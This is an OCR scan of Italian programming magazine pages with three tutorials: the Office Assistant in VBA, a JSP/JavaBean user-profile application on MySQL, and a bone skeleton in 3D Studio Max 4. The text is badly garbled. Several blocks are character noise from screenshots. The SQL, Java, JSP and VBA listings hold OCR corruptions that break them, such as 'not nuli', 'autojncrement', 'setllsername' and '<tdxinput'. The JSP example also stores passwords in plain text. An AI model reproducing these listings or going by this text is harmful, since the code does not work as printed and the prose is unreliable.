94*^* m
9 9
http ://www.itport al.it
f
Io sono .
.Briciola
Ice rea!
>>
Chiudi
Fig. 2: L'assistente di Office mostra il suo nome
Iettarne); inoltre, ha una proprietà che ne permette l'atti-
vazione (visible). Ora presentiamo due esempi: uno mo-
stra l'assistente con un messaggio del tipo "io sono. . .",
l'altro invece mostra l'assistente con un fumetto che il-
lustra come specificare il file di Help in un progetto
VBA. I due esempi sono avviati rispettivamente dai
due pulsanti posti sulla Userform cioè: Assistente e Fu-
metto.
Private Sub Assistante_Click()
inte = "Ciao"
msg = "Io sono ..."
Dim bln As Balloon
With Assistant
.FileName = "ROVER.ACS"
"è l'assistente Briciola di Windows XP
msg = msg + Assistant. Name
.Visible = True
Set bln = .NewBalloon
With bln
.Mode = msoModeModal
If Not Sounds Then Sounds = True
.Animation = msoAnimationGreeting
.Button = msoButtonSetSearchClose
.Heading = hdng
.Text = msg
.Animation = msoAnimationGetAttentionMinor
ret = .Show
End With
End With
If ret = msoBalloonButtonClose Then
Assistant. Visible = False
Else
Assistant. GuessHelp = True
End If
End Sub
Nella procedura precedente si carica l'assistente attra-
verso la proprietà Filename (notate che non è necessario
specificare il path del file), poi si rende visibile, si defi-
nisce il fumetto (Balloon) associato all'assistente. In par-
ticolare del fumetto si specificano il tipo di animazione
(msoAnimationGreeting) ed i pulsanti mostrati (msoBut-
tonSetSearchClose), nel caso specifico sono mostrati i
pulsanti di ricerca e di chiusura. Il messaggio che viene
mostrato nel fumetto e l'intestazione dello stesso, inve-
ce, sono definiti attraverso le proprietà .Heading e .Text.
L'assistente è mostrato con il metodo .show. Quest'ulti-
mo restituisce un valore che serve a stabilire quale tasto
del fumetto è stato premuto. Infatti le istruzioni succes-
sive utilizzano questa informazione per stabilire se l'as-
sistente deve essere chiuso (Assistent.visible=false) op-
pure se deve mostrare il fumetto che permette di av-
viare la ricerca sulla guida di Office (non su quella de-
finita da noi).
Private Sub fumetto_Click()
Dim bln As Balloon
Set bln = Assistant. NewBalloon
With bln
.Heading = "Come specificare il file di Help"
.Text = "Per chiudere la finestra premi Ok "
.Labels(l).Text = "Sull'albero di progetto seleziona il
tuo progetto"
"Clicca con il tasto destro del Mouse"
"Sul menu che compare seleziona
proprietà"
"Sulla finestra delle proprietà
specifica il path di un file .ehm"
.BalloonType = msoBalloonTypeNumbers
.Mode = msoModeModal
.Button = msoButtonSetOK
.Show
End With
End Sub
Questa procedura mostra l'assistente di Office con un
fumetto di 4 Labels. Notate che esse vengono specifica-
te nell'Array Labels. In questo esempio il fumetto pre-
senta solo il pulsante Ok.
,Labels(2).Text ■
.Labels(3).Text
.Labels(4).Text
Come specificare il file di
Help
Per chiudere la finestra premi
Ok
1. Sull'albero di progetto
seleziona il tuo progetto
2. Clicca con il tasto destro
del Mouse
3. Sul menu che compare
seleziona proprietà
4. Sulla finestra delle
proprietà specifica il path
di un file .ehm
V*.
;0K|
Fig. 3: L'assistente di Office che fornisce delle
indicazioni attraverso delle labels
CONCLUSIONE
In questo articolo, abbiamo analizzato in maniera più
approssimativa e fatto alcuni esempi sulle caratteristi-
che delle guide in linea e su come agganciarle ai pro-
getti. Naturalmente, l'argomento non è ultimato. Sono
ancora diversi i concetti da capire, per esempio la ge-
stione delle Macro, delle immagini, dei link, ecc. Inol-
tre, abbiamo fatto una breve introduzione agli Assi-
stenti di Office e di Windows XP. Nei prossimi numeri
approfondiremo ulteriori concetti relativi all'imple-
mentazione delle guide in linea.
Massimo Autiero
Visual
Basic
Windows xp
I personaggi ani-
mati di Windows
XP e Office XP sono i
seguenti: Lalla, Spido,
Briciola, Merlino. Nel
caso di Windows XP il
personaggio permette
di eseguire delle ricer-
che nella documenta-
zione e fornisce delle
informazioni in dei fu-
metti. I personaggi
animati di Office e
Windows XP sono dei
Ìcon estensione
http ://www.itport al.it
g g
003 ►►► 95
JSP
JavaBean
UN ESEMPIO CONCRETO
La tecnologia JavaBean consente la separazione tra
logica business e interfaccia utente. In questa lezione
esamineremo un'applicazione suddivisa in più strati:
l'interfaccia Web, ottenuta mediante dei documenti
HTML/JSP, il meccanismo di incapsulamento dei dati, in
salsa JavaBean, un ponte per l'accesso alle informazioni,
ottenuto con una classe Java che fa uso di JDBC, ed un
database, per l'effettiva conservazione dei dati su disco.
&
File sul CD
\soft\codice
\codici_jspl5.zip
File sul Web
www.itportal.it/iop69
/cod ici_jspl5.zip
Dispense Web
del corso
Diversi approfondimen-
ti legati alla lezio-
ne odierna e alle
precedenti sono
reperibili in Internet,
tra le dispense Web del
corso. L'URL di riferi-
mento è
http://www,sauronsoftware,it
/dispenseweb/isp/.
Come promesso, in questa lezione prenderemo
in esame un'applicazione concreta della tecno-
logia JavaBean in ambito JavaServer Pages.
Anche se l'esempio dimostrativo non brillerà per con-
cretezza e completezza, avremo modo di riassumere
quanto visto nel corso della lezione precedente, impie-
gando inoltre le tecniche di accesso ai database che ci
sono già note (cfr. lezioni 11, 12 e 13).
IL PROGETTO
Realizzeremo un'applicazione che consenta ad un
utente di identificarsi mediante username e password,
e quindi di poter editare un proprio profilo personale.
I dati associati a ciascun utente andranno memorizza-
ti all'interno di un database. Per la realizzazione dell'e-
sempio, sarà scelto il DBMS MySQL, di cui già abbia-
mo discusso in precedenza. Prima di procedere, stabi-
liamo quali debbano essere le informazioni associate a
ciascun utente:
• Username, ovvero l'identificativo per il login.
• Password.
• Nome.
• Cognome.
• Indirizzo e-mail.
• Numero di telefono.
• Indirizzo di residenza.
IL DATABASE
Per prima cosa, allestiamo il database destinato alla
conservazione dei dati. Avviamo MySQL e colleghia-
moci al DBMS usando la linea di comando. Creiamo
un nuovo database chiamato utenza, con il comando:
creale database utenza;. Selezioniamo il database appena
creato, per poter lavorare al suo interno: use utenza;.
Passiamo ora alla creazione della tabella utenti, desti-
nata ad accogliere i singoli record associati agli utenti.
Il codice necessario è fornito di seguito:
CREATE TABLE utenti (
id int unsigned autojncrement primary key,
username varchar(20) not nuli default " unique,
password varchar(20) binary not nuli default ",
nome varchar(20) not nuli default ",
cognome varchar(30) not nuli default ",
email varchar(30) not nuli default ",
telefono varchar(20) not nuli default ",
indirizzo varchar(50) not nuli default " );
Una volta creata la tabella, popoliamola con un utente
arbitrario, che impiegheremo successivamente per
sperimentare il funzionamento dell'applicazione JSP:
insert into utenti (username, password)
values ("PIPPO", "ciao" );
Possiamo chiudere il client di MySQL: abbiamo com-
pletato le operazioni preliminari collegate al database
necessario alla nostra applicazione.
IL JAVABEAN
Procediamo con la progettazione di un JavaBean capa-
ce di astrarre il concetto di "utente", cioè di incapsula-
re i dati collegati ad ogni utente dell'applicazione:
package mieibean;
import java.io.Serializable;
96*-** m
g g
http ://www.itport al.it
public class Utente implements Serializable {
private String username = "";
private String password = "";
private String nome = "";
private String cognome = "";
private String email = "";
private String telefono = "";
private String indirizzo = "";
public void setllsername(String username) {
this. username = username; }
public void setPassword(String password) {
this. password = password; }
public void setNome(String nome) {this. nome = nome; }
public void setCognome(String cognome) {
this. cognome = cognome; }
public void setEmail(String email) {this. email = email; }
public void setTelefono(String telefono) {
this. telefono = telefono; }
public void setIndirizzo(String indirizzo) {
this. indirizzo = indirizzo; }
public String getUsername() {return username; }
public String getPasswordQ {return password; }
public String getNome() {return nome; }
public String getCognomeQ {return cognome; }
public String getEmail() {return email; }
public String getTelefono() {return telefono; }
public String getIndirizzo() {return indirizzo; }}
La classe Utente è, a tutti gli effetti, un JavaBean (cfr. le-
zione precedente):
1 . Implementa l'interfaccia java. io. Serializable.
2. Ha un costruttore privo di argomenti (o meglio,
non ha alcun costruttore dichiarato esplicitamente,
e quindi gli viene fornito automaticamente un co-
struttore privo di argomenti, secondo le specifiche
del linguaggio).
3. Definisce una serie di metodi get e set, utili per in-
teragire in lettura ed in scrittura con tutte le pro-
prietà che, nella nostra astrazione, rappresentano
un utente dell'applicazione.
Compiliamo la classe, e conserviamo per il momento il
prodotto della compilazione.
le per separare forma e contenuto. DatabaseManager
contiene due metodi statici:
1. IoadUtenteO. Accetta in ingresso un JavaBean
Utente di cui già siano stati impostati i campi user-
name e password. Basandosi su questi due valori,
accede al database di MySQL realizzato in prece-
denza, alla ricerca del record corrispondente. Se ta-
le record esiste e può essere recuperato, le rima-
nenti proprietà del JavaBean saranno impostate di
conseguenza. Inoltre, il metodo restituisce un ri-
sultato booleano: true se è stato possibile indivi-
duare e caricare l'utente, false altrimenti.
2. saveUtenteO. Come il precedente, questo metodo
accetta in ingresso un JavaBean Utente di cui sia già
stato impostato almeno il campo username. Quindi,
aggiorna il database di conseguenza, salvando i
campi dell'oggetto nelle corrispondenti colonne
della tabella utenti.
Compiliamo la classe e conserviamo il bytecode pro-
dotto.
CONFIGURIAMO
L'APPLICAZIONE JSP
Raggiungiamo la cartella di Apache Tomcat che dovrà
ospitare la nostra applicazione dimostrativa. Al suo in-
terno, se già non esiste, creiamo una cartella chiamata
WEB-INF. Una volta dentro questa cartella, predispo-
niamo le risorse nel seguente modo:
• Alla posizione classes/mieibean inseriamo il file
Utente.class, ottenuto dalla compilazione della clas-
se JavaBean Utente.
• Alla posizione classes/mieclassi inseriamo il file Da-
tabaseManager. class, ottenuto dalla compilazione
della classe DatabaseManager.
• Alla posizione lib copiamo il file JAR contenente il
driver JDBC di MySQL, se questo non è già in altri
ambiti di visibilità condivisi dalle applicazioni JSP.
Questa procedura è stata descritta nelle lezioni in
cui si è discusso dell'accesso ai database da appli-
cazioni Web.
Maggiori
informazioni
sui JavaBean
Se siete rimasti
affascinati dai Ja-
vaBean e siete interes-
sati ad approfondire
l'argomento, il punto
di partenza ideale è:
http://iava.sun.com/
products/iavabeans/
LA CLASSE
DATABASEMANAGER
Il JavaBean Utente possiede tutti i mezzi indispensabi-
li per la rappresentazione di un utente della nostra ap-
plicazione, rimanendo comunque completamente in-
dipendente dal database realizzato due paragrafi so-
pra. A fare da "ponte" tra una rappresentazione e l'al-
tra, sarà la speciale classe DatabaseManager, il file è di-
sponibile sul CD o sul Web (vedi box laterale pagina
96). DatabaseManager è una comunissima classe Java,
non un JavaBean. Ci servirà per evitare di scrivere il
codice necessario all'accesso al database direttamente
nelle pagine JSP dell'applicazione. Questa tecnica è uti-
Owiamente, tutte le cartelle inesistenti prima del no-
stro intervento, vanno create manualmente. Completa-
ta l'opera, è possibile avviare Apache Tomcat.
LE PAGINE
DELL'APPLICAZIONE
Posizionandoci nella cartella base dell'applicazione,
iniziamo a creare tutti i documenti Web necessari.
Cominciamo con login.html, che contiene una semplice
maschera HTML per il login dell'utente:
<html>
<head>
http ://www.itport al.it
9 9
003 ►►► 97
JSP
BeanBuilder
BeanBuilder è uno
strumento visuale
per la dimostrazione e
la verifica dei compo-
nenti JavaBean. Potete
prelevarlo dalla pagina:
http://iava.sun.com/pro -
ducts/iavabeans/beanbuil-
der/index.html
<title>Corso di JSP, JavaBean Demo</title>
</head>
<body>
<div align = "center">
<hl>Identificati!</hl>
<form action = "editdata.jsp" method = "post">
<table border="0" cellspacing = "3" cellpadding = "3"
align = "center">
<tr align = "left" valign="middle">
<td>Username:</td>
<tdxinput type="text" name="username"x/td>
</tr>
<tr align = "left" valign = "middle">
<td> Password :</td>
<tdxinput type="password" name="password"x/td>
</tr> <tr>
<td colspan = "2"> </tdx/tr>
<tr align="center" valign = "middle">
<td colspan="2"xinput type="submit"
value= "Accedi" x/tdx/tr>
</tablex/form>
</div>
</body>
</html>
I dati inseriti nel modulo saranno inviati a editdata.jsp,
in cui il nostro JavaBean farà la sua entrata in scena:
<%@page import="mieclassi.DatabaseManager" %>
<html>
<head>
<title>Corso di JSP, JavaBean Demo</title>
</head>
<body>
<% boolean exists = true; %>
<%— Recuperiamo o creiamo il JavaBean --%>
<jsp:useBean id = "utente" scope="session"
class="mieibean. Utente" >
<%— Impostiamo username e password, in caso di
creazione --%>
<jsp:setProperty name="utente" property="username" />
<]sp:setProperty name="utente" property="password" />
<%— Chiediamo la lettura dal database --%>
<% exists = DatabaseManager.loadUtente(utente); %>
</jsp:useBean>
<% if (exists) { %>
<%— Se i dati sono stati trovati ed impostati — %>
<div align="center"xhl>Dati per l'utente <%=
utente. getUsername() %x/hlx/div>
<form action = "savedata.jsp" method = "post">
<table border="0" cellspacing="3" cellpadding = "3"
align = "center">
<tr align = "left" valign = "middle">
<td > Password : </td >
<tdxinput type="password" name="password"
value="<jsp:getProperty name=" utente"
property="password" />">
</td> </tr>
<tr align = "left" valign="middle">
<td>Nome:</td>
<tdxinput type="text" name="nome"
value="<jsp:getProperty name= "utente"
property="nome" />">
</td> </tr>
<tr align = "left" valign = "middle">
<td>Cognome: </td>
<tdxinput type="text" name="cognome"
value="<jsp:getProperty name="utente" pro-
perty="cognome" />">
</td> </tr>
<tr align = "left" valign = "middle">
<td>Email:</td>
<tdxinput type="text" name="email"
value="<jsp:getProperty name= "utente"
property="email" />">
</tdx/tr>
<tr align = "left" valign = "middle">
<td >Telefono : </td >
<tdxinput type="text" name="telefono"
value="<jsp:getProperty name="utente" pro-
perty="telefono" />">
</td> </tr>
<tr align = "left" valign = "middle">
<td > Indirizzo :</td>
<tdxinput type="text" name="indirizzo"
value="<jsp:getProperty name="utente" pro-
perty="indirizzo" />">
</tdx/tr>
<tr>
<td colspan = "2"> </td> </tr>
<tr align = "center" valign = "middle">
<td colspan = "2">
<input type="submit" value="Salva">
<input type="reset" value="Cancella">
</td> </tr> </table> </form>
<% } else { %>
<%-- Se i dati nel database non esistono --%>
Dati non trovati... <% } %>
</body>
</html>
Per meglio comprendere il funzionamento del docu-
mento, sezioniamone il contenuto.
<%@page import="mieclassi.DatabaseManager" %>
Con questa direttiva abbiamo reso visibile la classe Da-
tabaseManager, che è nel package mieclassi.
<jsp:useBean id = "utente" scope="session" class="miei
bean.Utente">
<%— Impostiamo username e password, in caso di
creazione --%>
<jsp:setProperty name="utente" property="username" />
<jsp:setProperty name="utente" property="password" />
<%— Chiediamo la lettura dal database --%>
<% exists = DatabaseManager.loadUtente(utente); %>
</jsp:useBean>
98*-** m
g g
http://www.itportal.it
Questa parte richiama il JavaBean Utente. Lo scope as-
sociato al bean è session. Quindi, l'istanza della classe
sarà associata all'utente per tutto il periodo di utilizzo
dell'applicazione. Abbiamo usato l'attributo class.
Questo porta ad una diramazione dei casi possibili:
1. Se l'utente che accede alla pagina possiede già, tra
le sue variabili di sessione, un'istanza di Utente
chiamata utente, questa sarà recuperata e predi-
sposta all'uso.
2. In caso contrario, una nuova istanza di Utente sarà
creata e memorizzata tra le variabili di sessione del
visitatore.
Il corpo dell'azione jsp:useBean, inoltre, viene valutato
solo al ricorrere del secondo caso. Quindi, non appena
il JavaBean viene istanziato, i suoi campi username e
password vengono impostati in corrispondenza degli
omonimi campi provenienti dal form di login.html (cfr.
lezione precedente). Inoltre, viene richiamato il meto-
do DatabaseManager.loadUtenteQ, in modo che le rima-
nenti proprietà possano essere caricate dal database.
L'esito di quest'ultima operazione viene memorizzato
in una variabile booleana. Se questa è trite, allora i da-
ti dell'utente sono stati caricati senza problemi. In caso
contrario, la cosa più probabile è che i dati di accesso
siano errati. La rimanente parte del codice mostra al-
l'utente l'esito dell'operazione. Se l'accesso ha avuto
buon esito, viene predisposto un modulo HTML che
consenta all'utente di interagire con il suo profilo.
I campi del form vengono inizializzati servendosi di
alcune chiamate all'azione jsp:getProperty. Riassumen-
do, quindi, quanto letto dal database e conservato nel
JavaBean, viene ora posto davanti agli occhi dell'uten-
te, a cui è concessa la possibilità di modificare i propri
dati. Il modulo spedisce i dati al documento saveda-
ta.jsp:
<%@page import="mieclassi.DatabaseManager" %>
<html>
<head>
<title>Corso di JSP, JavaBean Demo</title>
</head>
<body>
<%— Carichiamo il JavaBean già presente nella sessione --%>
<jsp:useBean id = "utente" scope="session"
type = "mieibean. Utente" />
<%— Impostiamo le proprietà — %>
<jsp:setProperty name="utente" property="password" />
<jsp:setProperty name="utente" property="nome" />
<jsp:setProperty name="utente" property="cognome" />
<jsp:setProperty name="utente" property="email" />
<jsp:setProperty name="utente" property= "telefono" />
<jsp:setProperty name="utente" property="indirizzo" />
<%— Salviamo i dati nel database — %>
<% DatabaseManager.saveUtente(utente); %>
<%— Mostriamo un avviso di conferma --%>
<div align = "center">
<hl>Dati salvati!</hl>
<p>[<a href="editdata.jsp">torna al
pannello </a>]</p>
</div>
</body>
</html>
In questo documento, il JavaBean associato all'utente
viene nuovamente recuperato:
<jsp:useBean id = "utente" scope="sessìon" type="miei
bean. Utente" />
Questa volta, però, è stato impiegato l'attributo type: il
JavaBean deve già esistere tra le variabili di sessione
dell'utente. In caso contrario, non sarà istanziato auto-
maticamente, ed un errore bloccherà l'esecuzione del-
la pagina. Nella parte immediatamente successiva le
proprietà del bean vengono aggiornate di riflesso ai
dati forniti attraverso il modulo HTML della pagina di
provenienza. Quindi, i dati dell'utente vengono rifles-
si anche nel database, con una chiamata a DatabaseMa-
nager.saveDataQ. Attraverso questa architettura, siamo
riusciti a rendere molto semplice la stesura dei singoli
documenti JSP. La logica business risiede completa-
mente nelle classi realizzate in apertura. L'accesso al
database viene gestito in un contesto indipendente.
Tutto ciò rende l'applicazione molto più scalabile e di
più facile manutenzione.
SPERIMENTIAMO
L'APPLICAZIONE
Giunti a questo punto, non resta che verificare che tut-
to sia andato a buon fine. Colleghiamoci a login.html
ed usiamo i dati introdotti in precedenza nel database.
Arrivati su editdata.jsp, compiliamo e salviamolo il pro-
filo, giungendo a savedata.jsp. Verifichiamo che l'ag-
giornamento del database abbia effettivamente avuto
luogo: SELECT * FROM utenti;. Se tutto è andato come
previsto, dovremmo vedere intabellati i dati del profi-
lo salvato in precedenza.
CONCLUSIONI
Come è possibile osservare, suddividere l'applicazio-
ne in più strati indipendenti ha reso di più semplice
stesura il codice dei documenti JSP necessari al com-
pletamento del software. Inoltre, l'intera struttura ha
buone doti di scalabilità. Il database potrebbe cambia-
re senza dover nuovamente mettere mano sia sui do-
cumenti Web sia sul JavaBean usato. I pregi dimostra-
ti, per concludere, guadagnano maggiore enfasi quan-
do le differenti parti dell'applicazione vengono curate
da figure professionali indipendenti. Si conclude qui
questo corso dedicato al linguaggio JSP, sperando di
aver dato ai lettori delle buone nozioni per iniziare a
programmare. Alla Prossima.
Carlo Pelliccia
Bibliografia
• JSP, LA GUIDA
COMPLETA
Phil Hanna
(McGraw-Hill)
ISBN 88-386-4207-9
2001
• IMPARARE
JAVASERVER PAGES
IN 24 ORE
Jose Annunziato,
Stephanie Fesler
Kaminaris
(Tecniche Nuove)
ISBN 88-481-1306-0
2001
• JAVA, LA GUIDA
COMPLETA
Patrick Naughton &
Herbert Schildt
(McGraw-Hill)
ISBN 88-386-0416-9
1997
• JAVA 2, TUTTO &
OLTRE
lamie Jaworski
(Apogeo)
ISBN 88-7303-466-7
1999
http ://www.itport al.it
g g
2 o o 3 ►►► 99
"»"""'*
Creare una struttura
ossea per un
personaggio ^su,*
io Max
Pietro Canini
Vediamo come creare, impostare e collegare le ossa (Bones), attraverso
le nuove funzionalità di 3D Studio Max 4, per animare lo scheletro e dar
vita ad un personaggio bipede.
LJ animazione dello scheletro di un
personaggio, grazie
all'introduzione della cinematica
inversa detta IK (Inverse Kinematics), è
ormai una operazione molto semplice.
Nella cinematica diretta, far muovere un
braccio significa agire dalla spalla fino a
giungere alle dita. Nella cinematica
inversa, succede il contrario. Basta
muovere le dita e l'intera struttura
collegata si muove di conseguenza. È
possibile vincolare i movimenti, sia in
rotazione sia in posizione, in maniera
tale, ad esempio, che una mano ruoti
fino ad un certo punto e non oltre. Per
lavorare con l'IK, la successione delle
operazioni è la seguente: costruire un
modello, sia esso composto di varie
parti che da una singola struttura; creare
lo scheletro attraverso le Bones;
applicare un risolutore di cinematica
inversa (IK Solver); impostare i limiti di
rotazione e posizione; animare l'end
effector nel caso dell'HD Solver oppure il
goal nell'uso dell'HI Solver o del IK Limb
Solver. Gli IK Solvers sono nuove opzioni
di 3dsmax4 che permettono di
impostare lo scheletro di un personaggio
usando le Bones. Ci sono tre tipi di IK
Solver (quattro in 3dsmax5), disponibili
nel menu a tendina Animation: HI Solver
(History-lndependent), HD Solver
(History-Dependent), IK Limb Solver. Per
l'animazione di personaggi o per lunghe
sequenze, la migliore soluzione è l'HI
Solver. L'HD Solver può essere usato
solo per animazioni meccaniche o
piccole sequenze, mentre l'IK Limb
Solver serve per lo sviluppo di
videogame, operando solo solo due
Bones della catena. Per aver un
controllo immediato sulla rotazione o
sulla posizione, possiamo linkare il goal
o l'end effector a punti (points), spline, o
oggetti dummy (che non appariranno nel
rendering finale). In questo tutorial, ci
concentreremo soltanto sulla creazione
di una struttura ossea di un bipede, che
potrà essere usata come scheletro con il
modificatore Skin applicato ad una
superficie.
La struttura ossea della gamba 1 I
Recatevi nel pannello
Create / Systems /
Bones. Nella vista laterale,
fate clic nell'angolo in alto a
sinistra, per iniziare a
creare l'osso della gamba.
Poi muovete la freccetta giù
e a destra e cliccate per
creare la coscia. Muovetevi
ora in basso a sinistra e
cliccate per creare il
polpaccio.
Muovete il cursore a destra
e cliccate per creare il
piede, ancora a destra e di
nuovo clic per le dita, ora
per finire premete il tasto
destro del mouse. Dovrebbe
comparire una situazione
come in figura.
, ■ ,,:,■■.;■. . :....■ ...
■; 3 :- 0L[ Vk«, C,= ™ Nociltas .:™« :c , ft-i™tion CrmCcita-s Rrcch, .: Js to„ :t NUScrp: 1 IoId
iF'v-n^. i, ii ni 111 -■;>■! ±z> ci*- - n- , 3 _d -*--5 r .. -p< mmu\^ v "' ^»|
!
1
1)1 ì-.-aaMÌV
■ f== 3
.... : . ; : . .
,1- stati.»
i
:- ■ ■ ■ '
', N '"*""' '
; ■ . :
r^~~."
1 1 pf^^^^^^^^^Bti mi ■
fnH^TFFftflf
3^ .
p39
-- — -■ i—
" "
, ! . ■.!.:..
^^^^^^H
.--:-- : -- Yr
"-
1 r J r
s iy Mi i rii v ' it '"i 1 "'* 1 "± m i ■
«' "i""4,' ' 'm
j| 1 BÉJKiSrfWIM
fi HXjco v „ ::
E]-:- : CÌ-J--0.J AH^Kw Ccfccbd
^ *.|«B.»|«i H5BK.*
-:■:! , :l,l™l-l, L h
stati*
«llli"-v »='•■=-" *•■»>
100 >>> M a g
http: //www. itport al.it
T2 Creare l'altra gamba
Nella vista frontale, con un ret-
tangolo, selezioniamo (tasto
Select and Move) tutta la
gamba e muoviamola, a sini-
stra, tenendo premuto il tasto
Shift (Maiusc) della tastiera.
In questo modo, creiamo
un'altra gamba per il nostro
personaggio. Nella vista di sini-
stra, zoomiamo verso l'esterno
per ottenere un'area di lavoro
sufficiente grande per la crea-
zione della colonna vertebrale.
3-4 La colonna vertebrale
Per disegnare la colonna
vertebrale, cliccate di
nuovo sul tasto Bones e ini-
ziate a creare la struttura
poco dietro l'inizio della
gamba (in modo che non
venga accidentalmente
attaccata). In tutto, dovete
cliccare sei volte. Il sesto
clic definisce la creazione
della testa, quindi cliccate
col tasto destro. Seleziona-
te ora tutta la colonna e
muovetela in modo da posi-
zionarla in mezzo alle
gambe. Ora lavoreremo con
la struttura creata, affinché
l'IK funzioni bene. In segui-
to aggiungeremo altri ele-
menti.
^iw^.iHBWiai— d ».
v KIAMSIT
o s ■*-, sa i
^5 Impostare il risolutore di IK
per le gambe
Ora che le gambe e la
colonna vertebrale sono
state create, per renderle
animabili, possiamo aggiun-
gere l'IK Solver alla scena.
Nella vista prospettica, sele-
zionate una coscia, andate
nel menu a tendina
Animation/IK Solvers/HI
Solver e cliccate sul piede.
Vedrete una linea tratteg-
giata estendersi dalla coscia
al piede. Cliccate su Select
and Move e, nella vista
sinistra, provate a muovere
la croce che si forma alla
base del tallone (N.B.
Annullate i movimenti che
state compiendo per conti-
nuare a lavorare sulla
gamba nella sua posizione
originale). Selezionate la
coscia dell'altra gamba e
ripetete questo processo.
F
[
6 II risolutore IK per i piedi
Ora assegniamo il risolutore
di IK ai piedi. Nella vista
prospettica, zoomate nella
zona dei piedi. Selezionatene
uno e recatevi nel menu
Animation/IK Solvers/HI
Solver. Cliccate quindi alla
fine delle dita dello stesso
piede. Ripetete l'operazione
per l'altro piede.
http://www.itportal.it
9 9
2 3 >>> 101
"»"""'*
^7 II risolutore IK per la
colonna vertebrale
Creiamo ora una catena
IK per la colonna
vertebrale. Selezionate
l'osso più basso (quello
posizionato tra le
cosce), recatevi su
Animation/IK
Solvers/HI Solver e
selezionate la testa (il
penultimo osso, non
quello finale).
Questo crea una catena
IK con il controllo sul
collo (dov'è apparsa la
croce). Inserite ora gli
oggetti Dummy. In
questo modo, possiamo
animare la catena IK
muovendo soltanto tali
oggetti.
Così facendo, animare
uno scheletro risulta
più semplice,
soprattutto se è
composto di molte
ossa.
* 8-9-1 Gli oggetti Dummy
Recatevi nel pannello
Create/ Helpers/Dum
my e, nella vista Left,
cliccate alla base del
tallone per creare un
oggetto Dummy.
Createne un altro in
prossimità delle dita
del piede; fate lo
stesso con l'altra
gamba.
Createli abbastanza
grandi da poter essere
facilmente
selezionabili. Aiutatevi,
nella loro creazione,
anche con le altre
viste. Rinominate il
Dummy in base all'osso
su cui è collocato. Ad
esempio Tallone Sx,
Tallone Dx, Dita Sx e
Dita Dx. Create un
altro oggetto Dummy
alla base della colonna
vertebrale e chiamatelo
Bacino; e piazzatene
un ultimo sul collo che
chiamatelo di
conseguenza.
102 >>> M a
http: //www. itport al.it
■
f 11-12-13 Linkare la catena IK
ai Dummy
La soluzione migliore per
controllare le catene IK è di
collegarle (linkarle) ai
Dummy. Tutte le catene IK
sin ora create verranno
linkate ai Dummy, Nella
vista prospettica, zoomate
sui piedi; selezionate la
catena IK creata all'inizio
(la croce che si trova presso
il tallone, non il Dummy e
non la Bones). Cliccate sul
tasto Select and Link
(nella barra degli strumenti
principale) e linkate la
catena IK al Dummy del
tallone (tenendo premuto il
tasto del mouse sulla catena
IK e trascinando il
puntatore sul Dummy).
Ripete questo passo per gli
altri Dummy dei piedi. Ora
selezionate la catena IK del
collo (non del bacino) e
linkatela al Dummy
corrispondente. Selezionate
ora le ossa delle cosce e
l'osso alla base della
colonna vertebrale (tutti e
tre contemporaneamente) e
linkateli al Dummy Bacino.
Ora dovrebbe essere tutto a
posto. (Nota: Se dove avete
linkato le catene IK, le ossa
cambiano di direzione,
annullate l'operazione di link
J.I ...■ ■■■
iH5
\ r -[ W
!, ti- H
' -i
• * 4- tt a l Vl ™ =Jprj$?*^«>*lift
-j
f <■
1 =
mai»- ^«*
1 (.-«"lAelBIT
1 |s,...,., J
jb e ,:IT lt =
r d-:
-
,„„,,
W 1
fi*> 1
1 |nch.. K
|
H Hr
HE"
^=_-
:3 Tj
-f-
" r-
t
-U-
:: ~-X
:
■
1 \!
„■» l,l
■ I ,•>),< '„""„'
è M "i" "i" "Ja" "4" "è" "i" "4t" "i 1 " 'jfe" "i" ' % i so és ita
llHelpstSelEdffl fi t*l 3SJ !-\ 2| | Bdd=W,0
BuhK.j Sete™ J l«
"0"' «iQ,-*a.fl3..
fm
lo. li
e ruotate il Dummy di 90
gradi). Provate a muovere i
Dummy per vedere i
risultati sin ora ottenuti.
Linkare i dummy l'un l'altro 14*
Se provate a muovere il
Dummy del tallone,
vedrete che le dita non si
muovono con esso. Se
muovete il Dummy delle
dita, il tallone non va con
loro. Selezionate un
Dummy del tallone,
recatevi su Select and
Link e linkatelo al Dummy
delle dita dello stesso
piede. Eseguite l'operazione
con l'altro piede. Linkate
ora il Dummy del collo al
Dummy del bacino. In
questo modo, quando
muovete il bacino, tutta la
colonna si muove con esso.
http://www.itportal.it
9 9
2 3 >>> 103
Giuste angolazioni 151 f 19-20 La catena IK
Se abbiamo qualche osso
che si muove in maniera
errata, dobbiamo vedere
come farlo piegare
attraverso lo Swivel Angle
che determina la direzione.
Ad esempio, se le dita si
muovono in modo
sbagliato, selezioniamo la
catena IK, ci rechiamo nel
pannello Motion e, nel
rullout IK Solver
Properties, modifichiamo il
valore Swivel Angle.
Adottate questo
accorgimento se vi capita
una situazione del genere
dopo la creazione delle
braccia.
Dal menu Animation/IK
Solvers/HI Solver, create
una catena IK partendo
dalla parte alta del braccio
fino alla mano. Eseguite la
stessa procedura creando
un'altra catena dalla mano
fino alle dita. Eseguite que-
sta operazione per tutte e
due le braccia.
16-17-18 Le ossa delle braccia
La creazione delle braccia è si-
mile a quella delle gambe. Re-
catevi quindi nel pannello Crea-
te/ System /Bones e, nella vi-
sta frontale, create quattro os-
sa: una per la parte superiore
del braccio, una per la parte in-
feriore, un'altra per la mano e
tH
[Standard
|- Qb|ectTi'p&
Ai.itoGnd r
Bones RingAitìi
Biped
| - N ame andCciloi
| BJDne21
| - IK.OiainA--;v ■■.'■■:■
IK Solver:
|lKHISolvar _-j
T AssigriToChildren
V ASsignTùRool
l'ultima per le dita. Col tasto
Select and Move, recatevi
nella vista di sinistra e spostate
il braccio in modo da allinearlo
alla colonna vertebrale, dando-
gli una posizione più naturale
muovendolo in avanti. Nella
vista frontale, selezionate l'in-
tero braccio e, nella
barra degli strumenti
principale, cliccate sul
tasto Mirror (oppure
nel menu tendina
Tools /Mirror). Dalle
opzioni scegliete
Copy e cliccate su
OK. Spostate il brac-
cio creato dall'altra
parte dello scheletro.
S*i^ r » fsflSl^KQl» 3» + '[*t> riF^ - 3|!|«f*#<ìa»liftl ^IHUPJHtìSftl 5 " 3 W
! ?-
-,->. 1 1
sl'MMEiTI
l„„„ ■
5i-r>i"-
-Ujj
■^-1 J
-■■ 'J- /
■"'-■
'i, ,..„„
H-y
«■—'""" j
■\~- "
„.„,
~. 2
ik J_ Ljja M-
T^nr
Tri - : n: r . . - - ...
'
/ \
= [
^Sruf
[~Hjpj]
':■■ \r\< -iri-^
;" ;
«1
HiPIH
-«
